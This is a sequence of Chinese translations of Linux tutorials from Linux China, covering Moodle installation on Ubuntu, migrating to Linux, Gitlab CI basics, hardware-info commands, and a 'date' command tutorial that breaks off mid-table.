Summary: Moodle （模块化面向对象动态学习环境的缩写）是一种自由而开源的学习管理系统，为教师、学生和管理员提供个性化的学习环境。Moodle 由 Moodle 项目创建，由 Moodle 总部统一领导和协调。

![](/data/attachment/album/201801/08/143359cyunyyhxiykfz5q5.jpg)

这是一篇关于如何在 Ubuntu 16.04 上安装 Moodle （“魔灯”）的逐步指南。Moodle （<ruby> 模块化面向对象动态学习环境 <rt>  Modular-object-oriented dynamic learning environment </rt></ruby>的缩写）是一种自由而开源的学习管理系统，为教师、学生和管理员提供个性化的学习环境。Moodle 由 Moodle 项目创建，由 [Moodle 总部](https://moodle.com/hq)统一领导和协调。

Moodle 有很多非常实用的功能，比如：

* 现代和易于使用的界面
* 个性化仪表盘
* 协作工具和活动
* 一体式日历
* 简单的文本编辑器
* 进度跟踪
* 公告
* 不胜枚举…

在本教程中，我们将指导您在 Ubuntu 16.04 VPS 上利用 Apache web 服务器、MySQL 和 PHP 7 安装最新版本的 Moodle。（LCTT 译注：在 Ubuntu 的后继版本上的安装也类似。）

### 1、 通过 SSH 登录

首先，利用 root 用户通过 SSH 登录到 Ubuntu 16.04 VPS：

```
ssh root@IP_Address -p Port_number

```

### 2、 更新操作系统软件包

运行以下命令更新系统软件包并安装一些依赖软件：

```
apt-get update && apt-get upgrade
apt-get install git-core graphviz aspell

```

### 3、 安装 Apache Web 服务器

利用下面命令，从 Ubuntu 软件仓库安装 Apache Web 服务器：

```
apt-get install apache2

```

### 4、 启动 Apache Web 服务器

一旦安装完毕，启动 Apache 并使它能够在系统启动时自动启动，利用下面命令：

```
systemctl enable apache2

```

### 5、 安装 PHP 7

接下来，我们将安装 PHP 7 和 Moodle 所需的一些额外的 PHP 模块，命令是：

```
apt-get install php7.0 libapache2-mod-php7.0 php7.0-pspell php7.0-curl php7.0-gd php7.0-intl php7.0-mysql php7.0-xml php7.0-xmlrpc php7.0-ldap php7.0-zip

```

### 6、 安装和配置 MySQL 数据库服务器

Moodle 将大部分数据存储在数据库中，所以我们将利用以下命令安装 MySQL 数据库服务器：

```
apt-get install mysql-client mysql-server

```

安装完成后，运行 `mysql_secure_installation` 脚本配置 MySQL 的 `root` 密码以确保 MySQL 安全。

以 `root` 用户登录到 MySQL 服务器，并为 Moodle 创建一个数据库以及能访问它的用户，以下是具体操作指令：

```
mysql -u root -p
mysql> CREATE DATABASE moodle;
mysql> GRANT ALL PRIVILEGES ON moodle.* TO 'moodleuser'@'localhost' IDENTIFIED BY 'PASSWORD';
mysql> FLUSH PRIVILEGES;
mysql> \q

```

一定要记得将上述 `PASSWORD` 替换成一个安全性强的密码。

### 7、 从 GitHub 仓库获取 Moodle

接下来，切换当前工作目录，并从 GitHub 官方仓库中复制 Moodle：

```
cd /var/www/html/
git clone https://github.com/moodle/moodle.git

```

切换到 `moodle` 目录，检查所有可用的分支：

```
cd moodle/
git branch -a

```

选择最新稳定版本（当前是 `MOODLE_34_STABLE` ），运行以下命令告诉 git 哪个分支可以跟踪或使用：

```
git branch --track MOODLE_34_STABLE origin/MOODLE_34_STABLE

```

并切换至这个特定版本：

```
git checkout MOODLE_34_STABLE

Switched to branch 'MOODLE_34_STABLE'
Your branch is up-to-date with 'origin/MOODLE_34_STABLE'.

```

为存储 Moodle 数据创建目录：

```
mkdir /var/moodledata

```

正确设置其所有权和访问权限：

```
chown -R www-data:www-data /var/www/html/moodle
chown www-data:www-data /var/moodledata

```

### 8、 配置 Apache Web 服务器

使用以下内容为您的域名创建 Apache 虚拟主机：

```
nano /etc/apache2/sites-available/yourdomain.com.conf

    ServerAdmin admin@yourdomain.com
    DocumentRoot /var/www/html/moodle
    ServerName yourdomain.com
    ServerAlias www.yourdomain.com

    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    allow from all

    ErrorLog /var/log/httpd/yourdomain.com-error_log
    CustomLog /var/log/httpd/yourdomain.com-access_log common

```

保存文件并启用虚拟主机：

```
a2ensite yourdomain.com

Enabling site yourdomain.com.
To activate the new configuration, you need to run:
 service apache2 reload

```

最后，重启 Apache Web 服务器，以使配置生效：

```
service apache2 reload

```

### 9、 接下来按照提示完成安装

现在，点击 “[http://yourdomain.com”（LCTT](http://yourdomain.com%E2%80%9D%EF%BC%88LCTT) 译注：在浏览器的地址栏里输入以上域名以访问 Apache WEB 服务器），按照提示完成 Moodle 的安装。有关如何配置和使用 Moodle 的更多信息，您可以查看其[官方文档](https://docs.moodle.org/34/en/Main_page)。

如果您使用我们的[优化的 Moodle 托管主机服务](https://www.rosehosting.com/moodle-hosting.html)，您不必在 Ubuntu 16.04 上安装 Moodle，在这种情况下，您只需要求我们的专业 Linux 系统管理员在 Ubuntu 16.04 上安装和配置最新版本的 Moodle。他们将提供 24×7 及时响应的服务。（LCTT 译注：这是原文作者——一个主机托管商的广告~）

**PS.** 如果你喜欢这篇关于如何在 Ubuntu 16.04 上安装 Moodle 的帖子，请在社交网络上与你的朋友分享，或者留下你的回复。谢谢。

---

via: <https://www.rosehosting.com/blog/how-to-install-moodle-on-ubuntu-16-04/>

作者：[RoseHosting](https://www.rosehosting.com) 译者：[stevenzdg988](https://github.com/stevenzdg988) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


迁移到 Linux ：入门介绍

Summary: 这个新文章系列将帮你从其他操作系统迁移到 Linux。

这个新文章系列将帮你从其他操作系统迁移到 Linux。

![](/data/attachment/album/201801/07/130321dbtuzvj9ru8galar.jpg)

>
> 这个新文章系列将帮你从其他操作系统迁移到 Linux。
>
>
>

运行 Linux 的计算机系统到遍布在每个角落。Linux 运行着从谷歌搜索到“脸书”等等各种互联网服务。Linux 也在很多设备上运行，包括我们的智能手机、电视，甚至汽车。当然，Linux 也可以运行在您的桌面系统上。如果您是 Linux 新手，或者您想在您的桌面计算机上尝试一些不同的东西，这篇文章将简要地介绍其基础知识，并帮助您从另一个系统迁移到 Linux。

切换到不同的操作系统可能是一个挑战，因为每个操作系统都提供了不同的操作方法。其在一个系统上的<ruby> 习惯 <rt>  second nature </rt></ruby>可能会对另一个系统的使用形成阻挠，因此我们需要到网上或书本上查找怎样操作。

### Windows 与 Linux 的区别

（LCTT 译注：本节标题 Vive la différence ，来自于法语，意即“差异万岁”——来自于 wiktionary）

要开始使用 Linux，您可能会注意到，Linux 的打包方式不同。在其他操作系统中，许多组件被捆绑在一起，只是该软件包的一部分。然而，在 Linux 中，每个组件都被分别调用。举个例子来说，在 Windows 下，图形界面只是操作系统的一部分。而在 Linux 下，您可以从多个图形环境中进行选择，比如 GNOME、KDE Plasma、Cinnamon 和 MATE 等。

从更高层面上看，一个 Linux 包括以下内容：

1. 内核
2. 驻留在磁盘上的系统程序和文件
3. 图形环境
4. 包管理器
5. 应用程序

### 内核

操作系统的核心称为<ruby> 内核 <rt>  kernel </rt></ruby>。内核是引擎罩下的引擎。它允许多个应用程序同时运行，并协调它们对公共服务和设备的访问，从而使所有设备运行顺畅。

### 系统程序和文件

系统程序以标准的文件和目录的层次结构位于磁盘上。这些系统程序和文件包括后台运行的服务（称为<ruby> 守护进程 <rt>  deamon </rt></ruby>）、用于各种操作的实用程序、配置文件和日志文件。

这些系统程序不是在内核中运行，而是执行基本系统操作的程序——例如，设置日期和时间，以及连接网络以便你可以上网。

这里包含了<ruby> 初始化 <rt>  init </rt></ruby>程序——它是最初运行的程序。该程序负责启动所有后台服务（如 Web 服务器）、启动网络连接和启动图形环境。这个初始化程序将根据需要启动其它系统程序。

其他系统程序为简单的任务提供便利，比如添加用户和组、更改密码和配置磁盘。

### 图形环境

图形环境实际上只是更多的系统程序和文件。图形环境提供了常用的带有菜单的窗口、鼠标指针、对话框、状态和指示器等。

需要注意的是，您不是必须需要使用原本安装的图形环境。如果你愿意，你可以把它换成其它的。每个图形环境都有不同的特性。有些看起来更像 Apple OS X，有些看起来更像 Windows，有些则是独特的而不试图模仿其他的图形界面。

### 包管理器

对于来自不同操作系统的人来说，<ruby> 包管理器 <rt>  package manager </rt></ruby>比较难以掌握，但是现在有一个人们非常熟悉的类似的系统——应用程序商店。软件包系统实际上就是 Linux 的应用程序商店。您可以使用包管理器来选择您想要的应用程序，而不是从一个网站安装这个应用程序，而从另一个网站来安装那个应用程序。然后，包管理器会从预先构建的开源应用程序的中心仓库安装应用程序。

### 应用程序

Linux 附带了许多预安装的应用程序。您可以从包管理器获得更多。许多应用程序相当棒，另外一些还需要改进。有时，同一个应用程序在 Windows 或 Mac OS 或 Linux 上运行的版本会不同。

例如，您可以使用 Firefox 浏览器和 Thunderbird (用于电子邮件)。您可以使用 LibreOffice 作为 Microsoft Office 的替代品，并通过 Valve 的 Steam 程序运行游戏。您甚至可以在 Linux 上使用 WINE 来运行一些 Windows 原生的应用程序。

### 安装 Linux

第一步通常是安装 Linux 发行版。你可能听说过 Red Hat、Ubuntu、Fedora、Arch Linux 和 SUSE，等等。这些都是 Linux 的不同发行版。

如果没有 Linux 发行版，则必须分别安装每个组件。许多组件是由不同人群开发和提供的，因此单独安装每个组件将是一项冗长而乏味的任务。幸运的是，构建发行版的人会为您做这项工作。他们抓取所有的组件，构建它们，确保它们可以在一起工作，然后将它们打包在一个单一的安装套件中。

各种发行版可能会做出不同的选择、使用不同的组件，但它仍然是 Linux。在一个发行版中开发的应用程序通常在其他发行版上运行的也很好。

如果你是一个 Linux 初学者，想尝试 Linux，我推荐[安装 Ubuntu](https://www.ubuntu.com/download/desktop)。还有其他的发行版也可以尝试: Linux Mint、Fedora、Debian、Zorin OS、Elementary OS 等等。在以后的文章中，我们将介绍 Linux 系统的其他方面，并提供关于如何开始使用 Linux 的更多信息。

---

via: <https://www.linux.com/blog/learn/intro-to-linux/2017/10/migrating-linux-introduction>

作者：[John Bonesio](https://www.linux.com/users/johnbonesio) 译者：[stevenzdg988](https://github.com/stevenzdg988) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


迁移到 Linux：磁盘、文件、和文件系统

![Migrating to LInux ](/data/attachment/album/201801/07/155943kns9nxjuioh8ee9u.jpg "Migrating to LInux ")

>
> 在你的主要桌面计算机上安装和使用 Linux 将帮你快速熟悉你需要的工具和方法。
>
>
>

这是我们的迁移到 Linux 系列文章的第二篇。如果你错过了第一篇，[你可以在这里找到它](/article-9212-1.html)。就如之前提到过的，为什么要迁移到 Linux 的有几个原因。你可以在你的工作中为 Linux 开发和使用代码，或者，你可能只是想去尝试一下新事物。

不论是什么原因，在你主要使用的桌面计算机上拥有一个 Linux，将帮助你快速熟悉你需要的工具和方法。在这篇文章中，我将介绍 Linux 的文件、文件系统和磁盘。

### 我的 C:\ 在哪里？

如果你是一个 Mac 用户，Linux 对你来说应该非常熟悉，Mac 使用的文件、文件系统、和磁盘与 Linux 是非常接近的。另一方面，如果你的使用经验主要是 Windows，访问 Linux 下的磁盘可能看上去有点困惑。一般，Windows 给每个磁盘分配一个盘符（像 C:\）。而 Linux 并不是这样。而在你的 Linux 系统中它是一个单一的文件和目录的层次结构。

让我们看一个示例。假设你的计算机使用了一个主硬盘、一个有 `Books` 和 `Videos` 目录的 CD-ROM 、和一个有 `Transfer` 目录的 U 盘，在你的 WIndows 下，你应该看到的是下面的样子：

```
C:\  [硬盘]
├ System
├ System32
├ Program Files
├ Program Files (x86)
└ <更多目录>

D:\ [CD-ROM]
├ Books
└ Videos

E:\ [U 盘]
└ Transfer

```

而一个典型的 Linux 系统却是这样：

```
/ (最顶级的目录，称为根目录) [硬盘]
├ bin
├ etc
├ lib
├ sbin
├ usr
├ <更多目录>
└ media
   └ <你的用户名>
       ├ cdrom  [CD-ROM]
       │  ├ Books
       │  └ Videos
       └ Kingme_USB [U 盘]
           └ Transfer

```

如果你使用一个图形化环境，通常，Linux 中的文件管理器将出现看起来像驱动器的图标的 CD-ROM 和 USB 便携式驱动器，因此，你根本就无需知道介质所在的目录。

### 文件系统

Linux 称这些东西为文件系统。文件系统是在介质（比如，硬盘）上保持跟踪所有的文件和目录的一组结构。如果没有用于存储数据的文件系统，我们所有的信息就会混乱，我们就不知道哪个块属于哪个文件。你可能听到过一些类似 ext4、XFS 和 Btrfs 之类的名字，这些都是 Linux 文件系统。

每种保存有文件和目录的介质都有一个文件系统在上面。不同的介质类型可能使用了为它优化过的特定的文件系统。比如，CD-ROM 使用 ISO9660 或者 UDF 文件系统类型。USB 便携式驱动器一般使用 FAT32，以便于它们可以很容易去与其它计算机系统共享。

Windows 也使用文件系统。不过，我们不会过多的讨论它。例如，当你插入一个 CD-ROM，Windows 将读取 ISO9660 文件系统结构，分配一个盘符给它，然后，在盘符（比如，D:\）下显示文件和目录。当然，如果你深究细节，从技术角度说，Windows 是分配一个盘符给一个文件系统，而不是整个驱动器。

使用同样的例子，Linux 也读取 ISO9660 文件系统结构，但它不分配盘符，它附加文件系统到一个目录（这个过程被称为<ruby> 挂载 <rt>  mount </rt></ruby>）。Linux 将随后在所挂载的目录（比如是， `/media/<your user name>/cdrom` ）下显示 CD-ROM 上的文件和目录。

因此，在 Linux 上回答 “我的 C:\ 在哪里？” 这个问题，答案是，这里没有 C:\，它们工作方式不一样。

### 文件

Windows 将文件和目录（也被称为文件夹）存储在它的文件系统中。但是，Linux 也让你将其它的东西放到文件系统中。这些其它类型的东西是文件系统的原生的对象，并且，它们和普通文件实际上是不同的。除普通文件和目录之外，Linux 还允许你去创建和使用<ruby> 硬链接 <rt>  hard link </rt></ruby>、<ruby> 符号链接 <rt>  symbolic link </rt></ruby>、<ruby> 命名管道 <rt>  named pipe </rt></ruby>、<ruby> 设备节点 <rt>  device node </rt></ruby>、和<ruby> 套接字 <rt>  socket </rt></ruby>。在这里，我们不展开讨论所有的文件系统对象的类型，但是，这里有几种经常使用到的需要知道。

硬链接用于为文件创建一个或者多个别名。指向磁盘上同样内容的每个别名的名字是不同的。如果在一个文件名下编辑文件，这个改变也同时出现在其它的文件名上。例如，你有一个 `MyResume_2017.doc`，它还有一个被称为 `JaneDoeResume.doc` 的硬链接。（注意，硬链接是从命令行下，使用 `ln` 的命令去创建的）。你可以找到并编辑 `MyResume_2017.doc`，然后，然后找到 `JaneDoeResume.doc`，你发现它保持了跟踪 —— 它包含了你所有的更新。

符号链接有点像 Windows 中的快捷方式。文件系统的入口包含一个到其它文件或者目录的路径。在很多方面，它们的工作方式和硬链接很相似，它们可以创建一个到其它文件的别名。但是，符号链接也可以像文件一样给目录创建一个别名，并且，符号链接可以指向到不同介质上的不同文件系统，而硬链接做不到这些。（注意，你可以使用带 `-s` 选项的 `ln` 命令去创建一个符号链接）

### 权限

Windows 和 Linux 另一个很大的区别是涉及到文件系统对象（文件、目录、及其它）的权限。Windows 在文件和目录上实现了一套非常复杂的权限。例如，用户和用户组可以有权限去读取、写入、运行、修改等等。用户和用户组可以授权访问除例外以外的目录中的所有内容，也可以不允许访问除例外的目录中的所有内容。

然而，大多数使用 Windows 的人并不会去使用特定的权限；因此，当他们发现在 Linux 上是强制使用一套默认权限时，他们感到非常惊讶！Linux 通过使用 SELinux 或者 AppArmor 可以强制执行一套更复杂的权限。但是，大多数 Linux 安装版都只是使用了内置的默认权限。

在默认的权限中，文件系统中的每个条目都有一套为它的文件所有者、文件所在的组、和其它人的设置的权限。这些权限允许他们：读取、写入和运行。给它们的权限是有层次继承的。首先，它检查这个（登入的）用户是否为该文件所有者和拥有的权限。如果不是，然后检查这个用户是否在文件所在的组中和该组拥有的权限。如果不是，然后它再检查其它人拥有的权限。这里设置了其它人的权限。但是，这里设置的三套权限大多数情况下都会使用其中的一套。

如果你使用命令行，你输入 `ls -l`，你可以看到如下所表示的权限：

```
rwxrw-r-- 1 stan dndgrp 25 Oct 33rd 25:01 rolldice.sh

```

最前面的字母，`rwxrw-r--`，展示了权限。在这个例子中，所有者（stan）可以读取、写入和运行这个文件（前面的三个字母，`rwx`）；dndgrp 组的成员可以读取和写入这个文件，但是不能运行（第二组的三个字母，`rw-`）；其它人仅可以读取这个文件（最后的三个字母，`r--`）。

（注意，在 Windows 中去生成一个可运行的脚本，你生成的文件要有一个特定的扩展名，比如 `.bat`，而在 Linux 中，扩展名在操作系统中没有任何意义。而是需要去设置这个文件可运行的权限）

如果你收到一个 “permission denied” 错误，可能是你去尝试运行了一个要求管理员权限的程序或者命令，或者你去尝试访问一个你的帐户没有访问权限的文件。如果你尝试去做一些要求管理员权限的事，你必须切换登入到一个被称为 `root` 的用户帐户。或者通过在命令行使用一个被称为 `sudo` 的辅助程序。它可以临时允许你以 `root` 权限运行。当然，`sudo` 工具，也会要求你输入密码，以确保你真的有权限。

### 硬盘文件系统

Windows 主要使用一个被称为 NTFS 的硬盘文件系统。在 Linux 上，你也可以选一个你希望去使用的硬盘文件系统。不同的文件系统类型呈现不同的特性和不同的性能特征。现在主流的原生 Linux 的文件系统是 Ext4。但是，在安装 Linux 的时候，你也有丰富的文件系统类型可供选择，比如，Ext3（Ext4 的前任）、XFS、Btrfs、UBIFS（用于嵌入式系统）等等。如果你不确定要使用哪一个，Ext4 是一个很好的选择。

---

via: <https://www.linux.com/blog/learn/intro-to-linux/2017/11/migrating-linux-disks-files-and-filesystems>

作者：[JOHN BONESIO](https://www.linux.com/users/johnbonesio) 译者：[qhwdw](https://github.com/qhwdw) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


Gitlab CI 常规介绍

![](/data/attachment/album/201801/07/215600pzw0opqvicrvq85z.jpg)

在 [fleetster](https://www.fleetster.net)， 我们搭建了自己的 [Gitlab](https://gitlab.com/) 实例，而且我们大量使用了 [Gitlab CI](https://about.gitlab.com/gitlab-ci/)。我们的设计师和测试人员也都在用它，也很喜欢用它，它的那些高级功能特别棒。

Gitlab CI 是一个功能非常强大的持续集成系统，有很多不同的功能，而且每次发布都会增加新的功能。它的技术文档也很丰富，但是对那些要在已经配置好的 Gitlab 上使用它的用户来说，它缺乏一个一般性介绍。设计师或者测试人员是无需知道如何通过 Kubernetes 来实现自动伸缩，也无需知道“镜像”和“服务”之间的不同的。

但是，他仍然需要知道什么是“管道”，知道如何查看部署到一个“环境”中的分支。因此，在本文中，我会尽可能覆盖更多的功能，重点放在最终用户应该如何使用它们上；在过去的几个月里，我向我们团队中的某些人包括开发者讲解了这些功能：不是所有人都知道<ruby> 持续集成 <rt>  Continuous Integration </rt></ruby>（CI）是个什么东西，也不是所有人都用过 Gitlab CI。

如果你想了解为什么持续集成那么重要，我建议阅读一下 [这篇文章](https://about.gitlab.com/2015/02/03/7-reasons-why-you-should-be-using-ci/)，至于为什么要选择 Gitlab CI 呢，你可以去看看 [Gitlab.com](https://about.gitlab.com/gitlab-ci/) 上的说明。

### 简介

开发者保存更改代码的动作叫做一次<ruby> 提交 <rt>  commit </rt></ruby>。然后他可以将这次提交<ruby> 推送 <rt>  push </rt></ruby>到 Gitlab 上，这样可以其他开发者就可以<ruby> 复查 <rt>  review </rt></ruby>这些代码了。

Gitlab CI 配置好后，Gitlab 也能对这个提交做出一些处理。该处理的工作由一个<ruby> 运行器 <rt>  runner </rt></ruby>来执行的。所谓运行器基本上就是一台服务器（也可以是其他的东西，比如你的 PC 机，但我们可以简单称其为服务器）。这台服务器执行 `.gitlab-ci.yml` 文件中指令，并将执行结果返回给 Gitlab 本身，然后在 Gitlab 的图形化界面上显示出来。

开发者完成一项新功能的开发或完成一个 bug 的修复后（这些动作通常包含了多次的提交），就可以发起一个<ruby> 合并请求 <rt>  merge request </rt></ruby>，团队其他成员则可以在这个合并请求中对代码及其实现进行<ruby> 评论 <rt>  comment </rt></ruby>。

我们随后会看到，由于 Gitlab CI 提供的两大特性，<ruby> 环境 <rt>  environment </rt></ruby> 与 <ruby> 制品 <rt>  artifact </rt></ruby>，使得设计者和测试人员也能（而且真的需要）参与到这个过程中来，提供反馈以及改进意见。

### <ruby> 管道 <rt>  pipeline </rt></ruby>

每个推送到 Gitlab 的提交都会产生一个与该提交关联的<ruby> 管道 <rt>  pipeline </rt></ruby>。若一次推送包含了多个提交，则管道与最后那个提交相关联。管道就是一个分成不同<ruby> 阶段 <rt>  stage </rt></ruby>的<ruby> 作业 <rt>  job </rt></ruby>的集合。

同一阶段的所有作业会并发执行（在有足够运行器的前提下），而下一阶段则只会在上一阶段所有作业都运行并返回成功后才会开始。

只要有一个作业失败了，整个管道就失败了。不过我们后面会看到，这其中有一个例外：若某个作业被标注成了手工运行，那么即使失败了也不会让整个管道失败。

阶段则只是对批量的作业的一个逻辑上的划分，若前一个阶段执行失败了，则后一个执行也没什么意义了。比如我们可能有一个<ruby> 构建 <rt>  build </rt></ruby>阶段和一个<ruby> 部署 <rt>  deploy </rt></ruby>阶段，在构建阶段运行所有用于构建应用的作业，而在部署阶段，会部署构建出来的应用程序。而部署一个构建失败的东西是没有什么意义的，不是吗？

同一阶段的作业之间不能有依赖关系，但它们可以依赖于前一阶段的作业运行结果。

让我们来看一下 Gitlab 是如何展示阶段与阶段状态的相关信息的。

![pipeline-overview](/data/attachment/album/201801/07/215646slbl0ldx0376v6xo.png)

![pipeline-status](/data/attachment/album/201801/07/215648mxekjeve33jfj1vj.png)

### <ruby> 作业 <rt>  job </rt></ruby>

作业就是运行器要执行的指令集合。你可以实时地看到作业的输出结果，这样开发者就能知道作业为什么失败了。

作业可以是自动执行的，也就是当推送提交后自动开始执行，也可以手工执行。手工作业必须由某个人手工触发。手工作业也有其独特的作用，比如，实现自动化部署，但只有在有人手工授权的情况下才能开始部署。这是限制哪些人可以运行作业的一种方式，这样只有信赖的人才能进行部署，以继续前面的实例。

作业也可以建构出<ruby> 制品 <rt>  artifacts </rt></ruby>来以供用户下载，比如可以构建出一个 APK 让你来下载，然后在你的设备中进行测试; 通过这种方式，设计者和测试人员都可以下载应用并进行测试，而无需开发人员的帮助。

除了生成制品外，作业也可以部署`环境`，通常这个环境可以通过 URL 访问，让用户来测试对应的提交。

做作业状态与阶段状态是一样的：实际上，阶段的状态就是继承自作业的。

![running-job](/data/attachment/album/201801/07/215649sd6y7zy6y05hmdze.png)

### <ruby> 制品 <rt>  Artifacts </rt></ruby>

如前所述，作业能够生成制品供用户下载来测试。这个制品可以是任何东西，比如 Windows 上的应用程序，PC 生成的图片，甚至 Android 上的 APK。

那么，假设你是个设计师，被分配了一个合并请求：你需要验证新设计的实现！

要该怎么做呢？

你需要打开该合并请求，下载这个制品，如下图所示。

每个管道从所有作业中搜集所有的制品，而且一个作业中可以有多个制品。当你点击下载按钮时，会有一个下拉框让你选择下载哪个制品。检查之后你就可以评论这个合并请求了。

你也可以从没有合并请求的管道中下载制品 ;-)

我之所以关注合并请求是因为通常这正是测试人员、设计师和相关人员开始工作的地方。

但是这并不意味着合并请求和管道就是绑死在一起的：虽然它们结合的很好，但两者之间并没有什么关系。

![download-artifacts](/data/attachment/album/201801/07/215651pad7am8w8caxzagd.png)

### <ruby> 环境 <rt>  environment </rt></ruby>

类似的，作业可以将某些东西部署到外部服务器上去，以便你可以通过合并请求本身访问这些内容。

如你所见，<ruby> 环境 <rt>  environment </rt></ruby>有一个名字和一个链接。只需点击链接你就能够转至你的应用的部署版本上去了（当前，前提是配置是正确的）。

Gitlab 还有其他一些很酷的环境相关的特性，比如 <ruby> <a href="https://gitlab.com/help/ci/environments.md">  监控 </a> <rt>  monitoring </rt></ruby>，你可以通过点击环境的名字来查看。

![environment](/data/attachment/album/201801/07/215652pfgs2a01jwg9hboa.png)

### 总结

这是对 Gitlab CI 中某些功能的一个简单介绍：它非常强大，使用得当的话，可以让整个团队使用一个工具完成从计划到部署的工具。由于每个月都会推出很多新功能，因此请时刻关注 [Gitlab 博客](https://about.gitlab.com/)。

若想知道如何对它进行设置或想了解它的高级功能，请参阅它的[文档](https://docs.gitlab.com/ee/ci/README.html)。

在 fleetster，我们不仅用它来跑测试，而且用它来自动生成各种版本的软件，并自动发布到测试环境中去。我们也自动化了其他工作（构建应用并将之发布到 Play Store 中等其它工作）。

说起来，**你是否想和我以及其他很多超棒的人一起在一个年轻而又富有活力的办公室中工作呢？** 看看 fleetster 的这些[招聘职位](https://www.fleetster.net/fleetster-team.html) 吧！

赞美 Gitlab 团队 (和其他在空闲时间提供帮助的人)，他们的工作太棒了！

若对本文有任何问题或回馈，请给我发邮件：[riccardo@rpadovani.com](mailto:riccardo@rpadovani.com) 或者[发推给我](https://twitter.com/rpadovani93)：-) 你可以建议我增加内容，或者以更清晰的方式重写内容(英文不是我的母语)。

那么，再见吧，

R.

P.S：如果你觉得本文有用，而且希望我们写出其他文章的话，请问您是否愿意帮我[买杯啤酒给我](https://rpadovani.com/donations) 让我进入 [鲍尔默峰值](https://www.xkcd.com/323/)？

---

via: <https://rpadovani.com/introduction-gitlab-ci>

作者：[Riccardo](https://rpadovani.com) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


检查系统和硬件信息的命令

![](/data/attachment/album/201801/08/100924v9ui7lral79zaziz.jpg)

你们好，Linux 爱好者们，在这篇文章中，我将讨论一些作为系统管理员重要的事。众所周知，作为一名优秀的系统管理员意味着要了解有关 IT 基础架构的所有信息，并掌握有关服务器的所有信息，无论是硬件还是操作系统。所以下面的命令将帮助你了解所有的硬件和系统信息。

### 1 查看系统信息

```
$ uname -a

```

![uname command](/data/attachment/album/201801/08/100946of4gipgbfvcc3gcb.jpg)

它会为你提供有关系统的所有信息。它会为你提供系统的内核名、主机名、内核版本、内核发布号、硬件名称。

### 2 查看硬件信息

```
$ lshw

```

![lshw command](/data/attachment/album/201801/08/100947q65dzsiidi78g6sh.jpg)

使用 `lshw` 将在屏幕上显示所有硬件信息。

### 3 查看块设备（硬盘、闪存驱动器）信息

```
$ lsblk

```

![lsblk command](/data/attachment/album/201801/08/100951k94z45tqlozrry8i.jpg)

`lsblk` 命令在屏幕上打印关于块设备的所有信息。使用 `lsblk -a` 可以显示所有块设备。

### 4 查看 CPU 信息

```
$ lscpu

```

![lscpu command](/data/attachment/album/201801/08/100951v1o9tzdocixcool9.jpg)

`lscpu` 在屏幕上显示所有 CPU 信息。

### 5 查看 PCI 信息

```
$ lspci

```

![lspci command](/data/attachment/album/201801/08/100952ks8trrw7t8aimq8p.jpg)

所有的网络适配器卡、USB 卡、图形卡都被称为 PCI。要查看他们的信息使用 `lspci`。

`lspci -v` 将提供有关 PCI 卡的详细信息。

`lspci -t` 会以树形格式显示它们。

### 6 查看 USB 信息

```
$ lsusb

```

![lsusb command](/data/attachment/album/201801/08/100952jore9do6bt6be092.jpg)

要查看有关连接到机器的所有 USB 控制器和设备的信息，我们使用 `lsusb`。

### 7 查看 SCSI 信息

```
$ lsscsi

```

![lsscsi](/data/attachment/album/201801/08/100953ovgnd7ddx44jnkd5.jpg)

要查看 SCSI 信息输入 `lsscsi`。`lsscsi -s` 会显示分区的大小。

### 8 查看文件系统信息

```
$ fdisk -l

```

![fdisk command](/data/attachment/album/201801/08/100954lypamuriztm6um06.jpg)

使用 `fdisk -l` 将显示有关文件系统的信息。虽然 `fdisk` 的主要功能是修改文件系统，但是也可以创建新分区，删除旧分区（详情在我以后的教程中）。

就是这些了，我的 Linux 爱好者们。建议你在**[这里](http://linuxtechlab.com/linux-commands-beginners-part-1/)**和**[这里](http://linuxtechlab.com/linux-commands-beginners-part-2/)**的文章中查看关于另外的 Linux 命令。

---

via: <http://linuxtechlab.com/commands-system-hardware-info/>

作者：[Shusain](http://linuxtechlab.com/author/shsuain/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


如何使用 date 命令

Summary: 在本文中, 我们会通过一些案例来演示如何使用 Linux 中的 date 命令。date 命令可以用户输出/设置系统日期和时间。 date 命令很简单, 请参见下面的例子和语法。

![](/data/attachment/album/201801/08/143129e4bb6m02da6abbhi.jpg)

在本文中, 我们会通过一些案例来演示如何使用 Linux 中的 `date` 命令。`date` 命令可以用户输出/设置系统日期和时间。 `date` 命令很简单, 请参见下面的例子和语法。

默认情况下，当不带任何参数运行 `date` 命令时，它会输出当前系统日期和时间：

```
$ date
Sat  2 Dec 12:34:12 CST 2017

```

### 语法

```
Usage: date [OPTION]... [+FORMAT]
  or:  date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]
以给定格式显示当前时间，或设置系统时间。

```

### 案例

下面这些案例会向你演示如何使用 `date` 命令来查看前后一段时间的日期时间。

#### 1、 查找 5 周后的日期

```
date -d "5 weeks"
Sun Jan  7 19:53:50 CST 2018

```

#### 2、 查找 5 周后又过 4 天的日期

```
date -d "5 weeks 4 days"
Thu Jan 11 19:55:35 CST 2018

```

#### 3、 获取下个月的日期

```
date -d "next month"
Wed Jan  3 19:57:43 CST 2018

```

#### 4、 获取下周日的日期

```
date -d last-sunday
Sun Nov 26 00:00:00 CST 2017

```

`date` 命令还有很多格式化相关的选项, 下面的例子向你演示如何格式化 `date` 命令的输出.

#### 5、 以 `yyyy-mm-dd` 的格式显示日期

```
date +"%F"
2017-12-03

```

#### 6、 以 `mm/dd/yyyy` 的格式显示日期

```
date +"%m/%d/%Y"
12/03/2017

```

#### 7、 只显示时间

```
date +"%T"
20:07:04

```

#### 8、 显示今天是一年中的第几天

```
date +"%j"
337

```

#### 9、 与格式化相关的选项

| 格式 | 说明 |
| --- | --- |
| `%%` | 显示百分号 （`%`）。 |
| `%a` | 星期的缩写形式 （如： `Sun`）。 |
